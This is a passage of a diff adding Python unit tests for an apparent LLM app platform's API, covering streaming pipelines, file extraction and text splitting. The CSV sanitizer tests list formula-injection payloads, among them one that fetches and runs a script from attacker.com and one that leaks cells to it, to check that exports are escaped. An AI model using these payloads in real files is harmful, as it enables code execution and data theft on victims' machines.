+        mock_queue_message = Mock()
+        mock_queue_message.event = ping_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        pipeline.ping_stream_response = Mock(return_value=Mock(spec=PingStreamResponse))
+
+        # Execute
+        responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 1
+        pipeline.ping_stream_response.assert_called_once()
+
+    def test_file_event(self, pipeline, mock_message_cycle_manager):
+        """Test handling of file events."""
+        # Setup
+        file_event = Mock(spec=QueueMessageFileEvent)
+        file_event.message_file_id = "file-id"
+
+        mock_queue_message = Mock()
+        mock_queue_message.event = file_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        file_response = Mock(spec=MessageFileStreamResponse)
+        mock_message_cycle_manager.message_file_to_stream_response.return_value = file_response
+
+        # Execute
+        responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 1
+        assert responses[0] == file_response
+        mock_message_cycle_manager.message_file_to_stream_response.assert_called_once_with(file_event)
+
+    def test_publisher_is_called_with_messages(self, pipeline):
+        """Test that publisher publishes messages when provided."""
+        # Setup
+        publisher = Mock(spec=AppGeneratorTTSPublisher)
+
+        ping_event = Mock(spec=QueuePingEvent)
+        mock_queue_message = Mock()
+        mock_queue_message.event = ping_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        pipeline.ping_stream_response = Mock(return_value=Mock(spec=PingStreamResponse))
+
+        # Execute
+        list(pipeline._process_stream_response(publisher=publisher, trace_manager=None))
+
+        # Assert
+        # Called once with message and once with None at the end
+        assert publisher.publish.call_count == 2
+        publisher.publish.assert_any_call(mock_queue_message)
+        publisher.publish.assert_any_call(None)
+
+    def test_trace_manager_passed_to_save_message(self, pipeline):
+        """Test that trace manager is passed to _save_message."""
+        # Setup
+        trace_manager = Mock(spec=TraceQueueManager)
+
+        message_end_event = Mock(spec=QueueMessageEndEvent)
+        message_end_event.llm_result = None
+
+        mock_queue_message = Mock()
+        mock_queue_message.event = message_end_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        pipeline._save_message = Mock()
+        pipeline._message_end_to_stream_response = Mock(return_value=Mock(spec=MessageEndStreamResponse))
+
+        # Patch db.engine used inside pipeline for session creation
+        with patch(
+            "core.app.task_pipeline.easy_ui_based_generate_task_pipeline.db", new=SimpleNamespace(engine=Mock())
+        ):
+            # Execute
+            list(pipeline._process_stream_response(publisher=None, trace_manager=trace_manager))
+
+        # Assert
+        pipeline._save_message.assert_called_once_with(session=ANY, trace_manager=trace_manager)
+
+    def test_multiple_events_sequence(self, pipeline, mock_message_cycle_manager, mock_task_state):
+        """Test handling multiple events in sequence."""
+        # Setup
+        chunk1 = Mock()
+        chunk1.delta.message.content = "Hello"
+        chunk1.prompt_messages = []
+
+        chunk2 = Mock()
+        chunk2.delta.message.content = " world!"
+        chunk2.prompt_messages = []
+
+        llm_chunk_event1 = Mock(spec=QueueLLMChunkEvent)
+        llm_chunk_event1.chunk = chunk1
+
+        ping_event = Mock(spec=QueuePingEvent)
+
+        llm_chunk_event2 = Mock(spec=QueueLLMChunkEvent)
+        llm_chunk_event2.chunk = chunk2
+
+        mock_queue_messages = [
+            Mock(event=llm_chunk_event1),
+            Mock(event=ping_event),
+            Mock(event=llm_chunk_event2),
+        ]
+        pipeline.queue_manager.listen.return_value = mock_queue_messages
+
+        mock_message_cycle_manager.get_message_event_type.return_value = StreamEvent.MESSAGE
+        pipeline.ping_stream_response = Mock(return_value=Mock(spec=PingStreamResponse))
+
+        # Execute
+        responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 3
+        assert mock_task_state.llm_result.message.content == "Hello world!"
+
+        # Verify calls to message_to_stream_response
+        assert mock_message_cycle_manager.message_to_stream_response.call_count == 2
+        mock_message_cycle_manager.message_to_stream_response.assert_any_call(
+            answer="Hello", message_id="test-message-id", event_type=StreamEvent.MESSAGE
+        )
+        mock_message_cycle_manager.message_to_stream_response.assert_any_call(
+            answer=" world!", message_id="test-message-id", event_type=StreamEvent.MESSAGE
+        )
diff --git a/api/tests/unit_tests/core/app/task_pipeline/test_message_cycle_manager_optimization.py b/api/tests/unit_tests/core/app/task_pipeline/test_message_cycle_manager_optimization.py
new file mode 100644
index 0000000000..5ef7f0d7f4
--- /dev/null
+++ b/api/tests/unit_tests/core/app/task_pipeline/test_message_cycle_manager_optimization.py
@@ -0,0 +1,166 @@
+"""Unit tests for the message cycle manager optimization."""
+
+from types import SimpleNamespace
+from unittest.mock import ANY, Mock, patch
+
+import pytest
+from flask import current_app
+
+from core.app.entities.task_entities import MessageStreamResponse, StreamEvent
+from core.app.task_pipeline.message_cycle_manager import MessageCycleManager
+
+
+class TestMessageCycleManagerOptimization:
+    """Test cases for the message cycle manager optimization that prevents N+1 queries."""
+
+    @pytest.fixture
+    def mock_application_generate_entity(self):
+        """Create a mock application generate entity."""
+        entity = Mock()
+        entity.task_id = "test-task-id"
+        return entity
+
+    @pytest.fixture
+    def message_cycle_manager(self, mock_application_generate_entity):
+        """Create a message cycle manager instance."""
+        task_state = Mock()
+        return MessageCycleManager(application_generate_entity=mock_application_generate_entity, task_state=task_state)
+
+    def test_get_message_event_type_with_message_file(self, message_cycle_manager):
+        """Test get_message_event_type returns MESSAGE_FILE when message has files."""
+        with (
+            patch("core.app.task_pipeline.message_cycle_manager.Session") as mock_session_class,
+            patch("core.app.task_pipeline.message_cycle_manager.db", new=SimpleNamespace(engine=Mock())),
+        ):
+            # Setup mock session and message file
+            mock_session = Mock()
+            mock_session_class.return_value.__enter__.return_value = mock_session
+
+            mock_message_file = Mock()
+            # Current implementation uses session.query(...).scalar()
+            mock_session.query.return_value.scalar.return_value = mock_message_file
+
+            # Execute
+            with current_app.app_context():
+                result = message_cycle_manager.get_message_event_type("test-message-id")
+
+            # Assert
+            assert result == StreamEvent.MESSAGE_FILE
+            mock_session.query.return_value.scalar.assert_called_once()
+
+    def test_get_message_event_type_without_message_file(self, message_cycle_manager):
+        """Test get_message_event_type returns MESSAGE when message has no files."""
+        with (
+            patch("core.app.task_pipeline.message_cycle_manager.Session") as mock_session_class,
+            patch("core.app.task_pipeline.message_cycle_manager.db", new=SimpleNamespace(engine=Mock())),
+        ):
+            # Setup mock session and no message file
+            mock_session = Mock()
+            mock_session_class.return_value.__enter__.return_value = mock_session
+            # Current implementation uses session.query(...).scalar()
+            mock_session.query.return_value.scalar.return_value = None
+
+            # Execute
+            with current_app.app_context():
+                result = message_cycle_manager.get_message_event_type("test-message-id")
+
+            # Assert
+            assert result == StreamEvent.MESSAGE
+            mock_session.query.return_value.scalar.assert_called_once()
+
+    def test_message_to_stream_response_with_precomputed_event_type(self, message_cycle_manager):
+        """MessageCycleManager.message_to_stream_response expects a valid event_type; callers should precompute it."""
+        with (
+            patch("core.app.task_pipeline.message_cycle_manager.Session") as mock_session_class,
+            patch("core.app.task_pipeline.message_cycle_manager.db", new=SimpleNamespace(engine=Mock())),
+        ):
+            # Setup mock session and message file
+            mock_session = Mock()
+            mock_session_class.return_value.__enter__.return_value = mock_session
+
+            mock_message_file = Mock()
+            # Current implementation uses session.query(...).scalar()
+            mock_session.query.return_value.scalar.return_value = mock_message_file
+
+            # Execute: compute event type once, then pass to message_to_stream_response
+            with current_app.app_context():
+                event_type = message_cycle_manager.get_message_event_type("test-message-id")
+                result = message_cycle_manager.message_to_stream_response(
+                    answer="Hello world", message_id="test-message-id", event_type=event_type
+                )
+
+            # Assert
+            assert isinstance(result, MessageStreamResponse)
+            assert result.answer == "Hello world"
+            assert result.id == "test-message-id"
+            assert result.event == StreamEvent.MESSAGE_FILE
+            mock_session.query.return_value.scalar.assert_called_once()
+
+    def test_message_to_stream_response_with_event_type_skips_query(self, message_cycle_manager):
+        """Test that message_to_stream_response skips database query when event_type is provided."""
+        with patch("core.app.task_pipeline.message_cycle_manager.Session") as mock_session_class:
+            # Execute with event_type provided
+            result = message_cycle_manager.message_to_stream_response(
+                answer="Hello world", message_id="test-message-id", event_type=StreamEvent.MESSAGE
+            )
+
+            # Assert
+            assert isinstance(result, MessageStreamResponse)
+            assert result.answer == "Hello world"
+            assert result.id == "test-message-id"
+            assert result.event == StreamEvent.MESSAGE
+            # Should not query database when event_type is provided
+            mock_session_class.assert_not_called()
+
+    def test_message_to_stream_response_with_from_variable_selector(self, message_cycle_manager):
+        """Test message_to_stream_response with from_variable_selector parameter."""
+        result = message_cycle_manager.message_to_stream_response(
+            answer="Hello world",
+            message_id="test-message-id",
+            from_variable_selector=["var1", "var2"],
+            event_type=StreamEvent.MESSAGE,
+        )
+
+        assert isinstance(result, MessageStreamResponse)
+        assert result.answer == "Hello world"
+        assert result.id == "test-message-id"
+        assert result.from_variable_selector == ["var1", "var2"]
+        assert result.event == StreamEvent.MESSAGE
+
+    def test_optimization_usage_example(self, message_cycle_manager):
+        """Test the optimization pattern that should be used by callers."""
+        # Step 1: Get event type once (this queries database)
+        with (
+            patch("core.app.task_pipeline.message_cycle_manager.Session") as mock_session_class,
+            patch("core.app.task_pipeline.message_cycle_manager.db", new=SimpleNamespace(engine=Mock())),
+        ):
+            mock_session = Mock()
+            mock_session_class.return_value.__enter__.return_value = mock_session
+            # Current implementation uses session.query(...).scalar()
+            mock_session.query.return_value.scalar.return_value = None  # No files
+            with current_app.app_context():
+                event_type = message_cycle_manager.get_message_event_type("test-message-id")
+
+        # Should query database once
+        mock_session_class.assert_called_once_with(ANY, expire_on_commit=False)
+        assert event_type == StreamEvent.MESSAGE
+
+        # Step 2: Use event_type for multiple calls (no additional queries)
+        with patch("core.app.task_pipeline.message_cycle_manager.Session") as mock_session_class:
+            mock_session_class.return_value.__enter__.return_value = Mock()
+
+            chunk1_response = message_cycle_manager.message_to_stream_response(
+                answer="Chunk 1", message_id="test-message-id", event_type=event_type
+            )
+
+            chunk2_response = message_cycle_manager.message_to_stream_response(
+                answer="Chunk 2", message_id="test-message-id", event_type=event_type
+            )
+
+            # Should not query database again
+            mock_session_class.assert_not_called()
+
+            assert chunk1_response.event == StreamEvent.MESSAGE
+            assert chunk2_response.event == StreamEvent.MESSAGE
+            assert chunk1_response.answer == "Chunk 1"
+            assert chunk2_response.answer == "Chunk 2"
diff --git a/api/tests/unit_tests/core/helper/test_csv_sanitizer.py b/api/tests/unit_tests/core/helper/test_csv_sanitizer.py
new file mode 100644
index 0000000000..443c2824d5
--- /dev/null
+++ b/api/tests/unit_tests/core/helper/test_csv_sanitizer.py
@@ -0,0 +1,151 @@
+"""Unit tests for CSV sanitizer."""
+
+from core.helper.csv_sanitizer import CSVSanitizer
+
+
+class TestCSVSanitizer:
+    """Test cases for CSV sanitization to prevent formula injection attacks."""
+
+    def test_sanitize_formula_equals(self):
+        """Test sanitizing values starting with = (most common formula injection)."""
+        assert CSVSanitizer.sanitize_value("=cmd|'/c calc'!A0") == "'=cmd|'/c calc'!A0"
+        assert CSVSanitizer.sanitize_value("=SUM(A1:A10)") == "'=SUM(A1:A10)"
+        assert CSVSanitizer.sanitize_value("=1+1") == "'=1+1"
+        assert CSVSanitizer.sanitize_value("=@SUM(1+1)") == "'=@SUM(1+1)"
+
+    def test_sanitize_formula_plus(self):
+        """Test sanitizing values starting with + (plus formula injection)."""
+        assert CSVSanitizer.sanitize_value("+1+1+cmd|'/c calc") == "'+1+1+cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("+123") == "'+123"
+        assert CSVSanitizer.sanitize_value("+cmd|'/c calc'!A0") == "'+cmd|'/c calc'!A0"
+
+    def test_sanitize_formula_minus(self):
+        """Test sanitizing values starting with - (minus formula injection)."""
+        assert CSVSanitizer.sanitize_value("-2+3+cmd|'/c calc") == "'-2+3+cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("-456") == "'-456"
+        assert CSVSanitizer.sanitize_value("-cmd|'/c notepad") == "'-cmd|'/c notepad"
+
+    def test_sanitize_formula_at(self):
+        """Test sanitizing values starting with @ (at-sign formula injection)."""
+        assert CSVSanitizer.sanitize_value("@SUM(1+1)*cmd|'/c calc") == "'@SUM(1+1)*cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("@AVERAGE(1,2,3)") == "'@AVERAGE(1,2,3)"
+
+    def test_sanitize_formula_tab(self):
+        """Test sanitizing values starting with tab character."""
+        assert CSVSanitizer.sanitize_value("\t=1+1") == "'\t=1+1"
+        assert CSVSanitizer.sanitize_value("\tcalc") == "'\tcalc"
+
+    def test_sanitize_formula_carriage_return(self):
+        """Test sanitizing values starting with carriage return."""
+        assert CSVSanitizer.sanitize_value("\r=1+1") == "'\r=1+1"
+        assert CSVSanitizer.sanitize_value("\rcmd") == "'\rcmd"
+
+    def test_sanitize_safe_values(self):
+        """Test that safe values are not modified."""
+        assert CSVSanitizer.sanitize_value("Hello World") == "Hello World"
+        assert CSVSanitizer.sanitize_value("123") == "123"
+        assert CSVSanitizer.sanitize_value("test@example.com") == "test@example.com"
+        assert CSVSanitizer.sanitize_value("Normal text") == "Normal text"
+        assert CSVSanitizer.sanitize_value("Question: How are you?") == "Question: How are you?"
+
+    def test_sanitize_safe_values_with_special_chars_in_middle(self):
+        """Test that special characters in the middle are not escaped."""
+        assert CSVSanitizer.sanitize_value("A = B + C") == "A = B + C"
+        assert CSVSanitizer.sanitize_value("Price: $10 + $20") == "Price: $10 + $20"
+        assert CSVSanitizer.sanitize_value("Email: user@domain.com") == "Email: user@domain.com"
+
+    def test_sanitize_empty_values(self):
+        """Test handling of empty values."""
+        assert CSVSanitizer.sanitize_value("") == ""
+        assert CSVSanitizer.sanitize_value(None) == ""
+
+    def test_sanitize_numeric_types(self):
+        """Test handling of numeric types."""
+        assert CSVSanitizer.sanitize_value(123) == "123"
+        assert CSVSanitizer.sanitize_value(456.789) == "456.789"
+        assert CSVSanitizer.sanitize_value(0) == "0"
+        # Negative numbers should be escaped (start with -)
+        assert CSVSanitizer.sanitize_value(-123) == "'-123"
+
+    def test_sanitize_boolean_types(self):
+        """Test handling of boolean types."""
+        assert CSVSanitizer.sanitize_value(True) == "True"
+        assert CSVSanitizer.sanitize_value(False) == "False"
+
+    def test_sanitize_dict_with_specific_fields(self):
+        """Test sanitizing specific fields in a dictionary."""
+        data = {
+            "question": "=1+1",
+            "answer": "+cmd|'/c calc",
+            "safe_field": "Normal text",
+            "id": "12345",
+        }
+        sanitized = CSVSanitizer.sanitize_dict(data, ["question", "answer"])
+
+        assert sanitized["question"] == "'=1+1"
+        assert sanitized["answer"] == "'+cmd|'/c calc"
+        assert sanitized["safe_field"] == "Normal text"
+        assert sanitized["id"] == "12345"
+
+    def test_sanitize_dict_all_string_fields(self):
+        """Test sanitizing all string fields when no field list provided."""
+        data = {
+            "question": "=1+1",
+            "answer": "+calc",
+            "id": 123,  # Not a string, should be ignored
+        }
+        sanitized = CSVSanitizer.sanitize_dict(data, None)
+
+        assert sanitized["question"] == "'=1+1"
+        assert sanitized["answer"] == "'+calc"
+        assert sanitized["id"] == 123  # Unchanged
+
+    def test_sanitize_dict_with_missing_fields(self):
+        """Test that missing fields in dict don't cause errors."""
+        data = {"question": "=1+1"}
+        sanitized = CSVSanitizer.sanitize_dict(data, ["question", "nonexistent_field"])
+
+        assert sanitized["question"] == "'=1+1"
+        assert "nonexistent_field" not in sanitized
+
+    def test_sanitize_dict_creates_copy(self):
+        """Test that sanitize_dict creates a copy and doesn't modify original."""
+        original = {"question": "=1+1", "answer": "Normal"}
+        sanitized = CSVSanitizer.sanitize_dict(original, ["question"])
+
+        assert original["question"] == "=1+1"  # Original unchanged
+        assert sanitized["question"] == "'=1+1"  # Copy sanitized
+
+    def test_real_world_csv_injection_payloads(self):
+        """Test against real-world CSV injection attack payloads."""
+        # Common DDE (Dynamic Data Exchange) attack payloads
+        payloads = [
+            "=cmd|'/c calc'!A0",
+            "=cmd|'/c notepad'!A0",
+            "+cmd|'/c powershell IEX(wget attacker.com/malware.ps1)'",
+            "-2+3+cmd|'/c calc'",
+            "@SUM(1+1)*cmd|'/c calc'",
+            "=1+1+cmd|'/c calc'",
+            '=HYPERLINK("http://attacker.com?leak="&A1&A2,"Click here")',
+        ]
+
+        for payload in payloads:
+            result = CSVSanitizer.sanitize_value(payload)
+            # All should be prefixed with single quote
+            assert result.startswith("'"), f"Payload not sanitized: {payload}"
+            assert result == f"'{payload}", f"Unexpected sanitization for: {payload}"
+
+    def test_multiline_strings(self):
+        """Test handling of multiline strings."""
+        multiline = "Line 1\nLine 2\nLine 3"
+        assert CSVSanitizer.sanitize_value(multiline) == multiline
+
+        multiline_with_formula = "=SUM(A1)\nLine 2"
+        assert CSVSanitizer.sanitize_value(multiline_with_formula) == f"'{multiline_with_formula}"
+
+    def test_whitespace_only_strings(self):
+        """Test handling of whitespace-only strings."""
+        assert CSVSanitizer.sanitize_value("   ") == "   "
+        assert CSVSanitizer.sanitize_value("\n\n") == "\n\n"
+        # Tab at start should be escaped
+        assert CSVSanitizer.sanitize_value("\t  ") == "'\t  "
diff --git a/api/tests/unit_tests/core/rag/extractor/test_helpers.py b/api/tests/unit_tests/core/rag/extractor/test_helpers.py
new file mode 100644
index 0000000000..edf8735e57
--- /dev/null
+++ b/api/tests/unit_tests/core/rag/extractor/test_helpers.py
@@ -0,0 +1,10 @@
+import tempfile
+
+from core.rag.extractor.helpers import FileEncoding, detect_file_encodings
+
+
+def test_detect_file_encodings() -> None:
+    with tempfile.NamedTemporaryFile(mode="w+t", suffix=".txt") as temp:
+        temp.write("Shared data")
+        temp_path = temp.name
+        assert detect_file_encodings(temp_path) == [FileEncoding(encoding="utf_8", confidence=0.0, language="Unknown")]
diff --git a/api/tests/unit_tests/core/rag/extractor/test_word_extractor.py b/api/tests/unit_tests/core/rag/extractor/test_word_extractor.py
index 3635e4dbf9..fd0b0e2e44 100644
--- a/api/tests/unit_tests/core/rag/extractor/test_word_extractor.py
+++ b/api/tests/unit_tests/core/rag/extractor/test_word_extractor.py
@@ -1,7 +1,10 @@
 """Primarily used for testing merged cell scenarios"""
 
+from types import SimpleNamespace
+
 from docx import Document
 
+import core.rag.extractor.word_extractor as we
 from core.rag.extractor.word_extractor import WordExtractor
 
 
@@ -47,3 +50,85 @@ def test_parse_row():
     extractor = object.__new__(WordExtractor)
     for idx, row in enumerate(table.rows):
         assert extractor._parse_row(row, {}, 3) == gt[idx]
+
+
+def test_extract_images_from_docx(monkeypatch):
+    external_bytes = b"ext-bytes"
+    internal_bytes = b"int-bytes"
+
+    # Patch storage.save to capture writes
+    saves: list[tuple[str, bytes]] = []
+
+    def save(key: str, data: bytes):
+        saves.append((key, data))
+
+    monkeypatch.setattr(we, "storage", SimpleNamespace(save=save))
+
+    # Patch db.session to record adds/commit
+    class DummySession:
+        def __init__(self):
+            self.added = []
+            self.committed = False
+
+        def add(self, obj):
+            self.added.append(obj)
+
+        def commit(self):
+            self.committed = True
+
+    db_stub = SimpleNamespace(session=DummySession())
+    monkeypatch.setattr(we, "db", db_stub)
+
+    # Patch config values used for URL composition and storage type
+    monkeypatch.setattr(we.dify_config, "FILES_URL", "http://files.local", raising=False)
+    monkeypatch.setattr(we.dify_config, "STORAGE_TYPE", "local", raising=False)
+
+    # Patch UploadFile to avoid real DB models
+    class FakeUploadFile:
+        _i = 0
+
+        def __init__(self, **kwargs):  # kwargs match the real signature fields
+            type(self)._i += 1
+            self.id = f"u{self._i}"
+
+    monkeypatch.setattr(we, "UploadFile", FakeUploadFile)
+
+    # Patch external image fetcher
+    def fake_get(url: str):
+        assert url == "https://example.com/image.png"
+        return SimpleNamespace(status_code=200, headers={"Content-Type": "image/png"}, content=external_bytes)
+
+    monkeypatch.setattr(we, "ssrf_proxy", SimpleNamespace(get=fake_get))
+
+    # A hashable internal part object with a blob attribute
+    class HashablePart:
+        def __init__(self, blob: bytes):
+            self.blob = blob
+
+        def __hash__(self) -> int:  # ensure it can be used as a dict key like real docx parts
+            return id(self)
+
+    # Build a minimal doc object with both external and internal image rels
+    internal_part = HashablePart(blob=internal_bytes)
+    rel_ext = SimpleNamespace(is_external=True, target_ref="https://example.com/image.png")
+    rel_int = SimpleNamespace(is_external=False, target_ref="word/media/image1.png", target_part=internal_part)
+    doc = SimpleNamespace(part=SimpleNamespace(rels={"rId1": rel_ext, "rId2": rel_int}))
+
+    extractor = object.__new__(WordExtractor)
+    extractor.tenant_id = "t1"
+    extractor.user_id = "u1"
+
+    image_map = extractor._extract_images_from_docx(doc)
+
+    # Returned map should contain entries for external (keyed by rId) and internal (keyed by target_part)
+    assert set(image_map.keys()) == {"rId1", internal_part}
+    assert all(v.startswith("![image](") and v.endswith("/file-preview)") for v in image_map.values())
+
+    # Storage should receive both payloads
+    payloads = {data for _, data in saves}
+    assert external_bytes in payloads
+    assert internal_bytes in payloads
+
+    # DB interactions should be recorded
+    assert len(db_stub.session.added) == 2
+    assert db_stub.session.committed is True
diff --git a/api/tests/unit_tests/core/rag/splitter/test_text_splitter.py b/api/tests/unit_tests/core/rag/splitter/test_text_splitter.py
index 7d246ac3cc..943a9e5712 100644
--- a/api/tests/unit_tests/core/rag/splitter/test_text_splitter.py
+++ b/api/tests/unit_tests/core/rag/splitter/test_text_splitter.py
@@ -901,6 +901,13 @@ class TestFixedRecursiveCharacterTextSplitter:
         # Verify no empty chunks
         assert all(len(chunk) > 0 for chunk in result)
 
+    def test_double_slash_n(self):
+        data = "chunk 1\n\nsubchunk 1.\nsubchunk 2.\n\n---\n\nchunk 2\n\nsubchunk 1\nsubchunk 2."
+        separator = "\\n\\n---\\n\\n"
+        splitter = FixedRecursiveCharacterTextSplitter(fixed_separator=separator)
+        chunks = splitter.split_text(data)
+        assert chunks == ["chunk 1\n\nsubchunk 1.\nsubchunk 2.", "chunk 2\n\nsubchunk 1\nsubchunk 2."]
+
 
 # ============================================================================
 # Test Metadata Preservation
diff --git a/api/tests/unit_tests/core/tools/utils/test_message_transformer.py b/api/tests/unit_tests/core/tools/utils/test_message_transformer.py
new file mode 100644
index 0000000000..af3cdddd5f
--- /dev/null
+++ b/api/tests/unit_tests/core/tools/utils/test_message_transformer.py
@@ -0,0 +1,86 @@
+import pytest
+
+import core.tools.utils.message_transformer as mt
+from core.tools.entities.tool_entities import ToolInvokeMessage
+
+
+class _FakeToolFile:
+    def __init__(self, mimetype: str):
+        self.id = "fake-tool-file-id"
+        self.mimetype = mimetype
+
+
+class _FakeToolFileManager:
+    """Fake ToolFileManager to capture the mimetype passed in."""
+
+    last_call: dict | None = None
+
+    def __init__(self, *args, **kwargs):
+        pass
+
+    def create_file_by_raw(
+        self,
+        *,
+        user_id: str,
+        tenant_id: str,
+        conversation_id: str | None,
+        file_binary: bytes,
+        mimetype: str,
+        filename: str | None = None,
+    ):
+        type(self).last_call = {
+            "user_id": user_id,
+            "tenant_id": tenant_id,
+            "conversation_id": conversation_id,
+            "file_binary": file_binary,
+            "mimetype": mimetype,
+            "filename": filename,
+        }
+        return _FakeToolFile(mimetype)
+
+
+@pytest.fixture(autouse=True)
+def _patch_tool_file_manager(monkeypatch):
+    # Patch the manager used inside the transformer module
+    monkeypatch.setattr(mt, "ToolFileManager", _FakeToolFileManager)
+    # also ensure predictable URL generation (no need to patch; uses id and extension only)
+    yield
+    _FakeToolFileManager.last_call = None
+
+
+def _gen(messages):
+    yield from messages
+
+
+def test_transform_tool_invoke_messages_mimetype_key_present_but_none():
+    # Arrange: a BLOB message whose meta contains a mime_type key set to None
+    blob = b"hello"
+    msg = ToolInvokeMessage(
+        type=ToolInvokeMessage.MessageType.BLOB,
+        message=ToolInvokeMessage.BlobMessage(blob=blob),
+        meta={"mime_type": None, "filename": "greeting"},
+    )
+
+    # Act
+    out = list(
+        mt.ToolFileMessageTransformer.transform_tool_invoke_messages(
+            messages=_gen([msg]),
+            user_id="u1",
+            tenant_id="t1",
+            conversation_id="c1",
+        )
+    )
+
+    # Assert: default to application/octet-stream when mime_type is present but None
+    assert _FakeToolFileManager.last_call is not None
+    assert _FakeToolFileManager.last_call["mimetype"] == "application/octet-stream"
+
+    # Should yield a BINARY_LINK (not IMAGE_LINK) and the URL ends with .bin
+    assert len(out) == 1
+    o = out[0]
+    assert o.type == ToolInvokeMessage.MessageType.BINARY_LINK
+    assert isinstance(o.message, ToolInvokeMessage.TextMessage)
+    assert o.message.text.endswith(".bin")
+    # meta is preserved (still contains mime_type: None)
+    assert "mime_type" in (o.meta or {})
+    assert o.meta["mime_type"] is None
diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/__init__.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py
new file mode 100644
index 0000000000..b18a3369e9
--- /dev/null
+++ b/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py
@@ -0,0 +1,101 @@
+"""
+Shared fixtures for ObservabilityLayer tests.
+"""
+
+from unittest.mock import MagicMock, patch
+
+import pytest
+from opentelemetry.sdk.trace import TracerProvider
+from opentelemetry.sdk.trace.export import SimpleSpanProcessor
+from opentelemetry.sdk.trace.export.in_memory_span_exporter import InMemorySpanExporter
+from opentelemetry.trace import set_tracer_provider
+
+from core.workflow.enums import NodeType
+
+
+@pytest.fixture
+def memory_span_exporter():
+    """Provide an in-memory span exporter for testing."""
+    return InMemorySpanExporter()
+
+
+@pytest.fixture
+def tracer_provider_with_memory_exporter(memory_span_exporter):
+    """Provide a TracerProvider configured with memory exporter."""
+    import opentelemetry.trace as trace_api
+
+    trace_api._TRACER_PROVIDER = None
+    trace_api._TRACER_PROVIDER_SET_ONCE._done = False
+
+    provider = TracerProvider()
+    processor = SimpleSpanProcessor(memory_span_exporter)
+    provider.add_span_processor(processor)
+    set_tracer_provider(provider)
+
+    yield provider
+
+    provider.force_flush()
+
+
+@pytest.fixture
+def mock_start_node():
+    """Create a mock Start Node."""
+    node = MagicMock()
+    node.id = "test-start-node-id"
+    node.title = "Start Node"
+    node.execution_id = "test-start-execution-id"
+    node.node_type = NodeType.START
+    return node
+
+
+@pytest.fixture
+def mock_llm_node():
+    """Create a mock LLM Node."""
+    node = MagicMock()
+    node.id = "test-llm-node-id"
+    node.title = "LLM Node"
+    node.execution_id = "test-llm-execution-id"
+    node.node_type = NodeType.LLM
+    return node
+
+
+@pytest.fixture
+def mock_tool_node():
+    """Create a mock Tool Node with tool-specific attributes."""
+    from core.tools.entities.tool_entities import ToolProviderType
+    from core.workflow.nodes.tool.entities import ToolNodeData
+
+    node = MagicMock()
+    node.id = "test-tool-node-id"
+    node.title = "Test Tool Node"
+    node.execution_id = "test-tool-execution-id"
+    node.node_type = NodeType.TOOL
+
+    tool_data = ToolNodeData(
+        title="Test Tool Node",
+        desc=None,
+        provider_id="test-provider-id",
+        provider_type=ToolProviderType.BUILT_IN,
+        provider_name="test-provider",
+        tool_name="test-tool",
+        tool_label="Test Tool",
+        tool_configurations={},
+        tool_parameters={},
+    )
+    node._node_data = tool_data
+
+    return node
+
+
+@pytest.fixture
+def mock_is_instrument_flag_enabled_false():
+    """Mock is_instrument_flag_enabled to return False."""
+    with patch("core.workflow.graph_engine.layers.observability.is_instrument_flag_enabled", return_value=False):
+        yield
+
+
+@pytest.fixture
+def mock_is_instrument_flag_enabled_true():
+    """Mock is_instrument_flag_enabled to return True."""
+    with patch("core.workflow.graph_engine.layers.observability.is_instrument_flag_enabled", return_value=True):
+        yield
diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py
new file mode 100644
index 0000000000..458cf2cc67
--- /dev/null
+++ b/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py
@@ -0,0 +1,219 @@
+"""
+Tests for ObservabilityLayer.
+
+Test coverage:
+- Initialization and enable/disable logic
+- Node span lifecycle (start, end, error handling)
+- Parser integration (default and tool-specific)
+- Graph lifecycle management
+- Disabled mode behavior
+"""
+
+from unittest.mock import patch
+
+import pytest
+from opentelemetry.trace import StatusCode
+
+from core.workflow.enums import NodeType
+from core.workflow.graph_engine.layers.observability import ObservabilityLayer
+
+
+class TestObservabilityLayerInitialization:
+    """Test ObservabilityLayer initialization logic."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_initialization_when_otel_enabled(self, tracer_provider_with_memory_exporter):
+        """Test that layer initializes correctly when OTel is enabled."""
+        layer = ObservabilityLayer()
+        assert not layer._is_disabled
+        assert layer._tracer is not None
+        assert NodeType.TOOL in layer._parsers
+        assert layer._default_parser is not None
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_true")
+    def test_initialization_when_instrument_flag_enabled(self, tracer_provider_with_memory_exporter):
+        """Test that layer enables when instrument flag is enabled."""
+        layer = ObservabilityLayer()
+        assert not layer._is_disabled
+        assert layer._tracer is not None
+        assert NodeType.TOOL in layer._parsers
+        assert layer._default_parser is not None
+
+
+class TestObservabilityLayerNodeSpanLifecycle:
+    """Test node span creation and lifecycle management."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_node_span_created_and_ended(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that span is created on node start and ended on node end."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
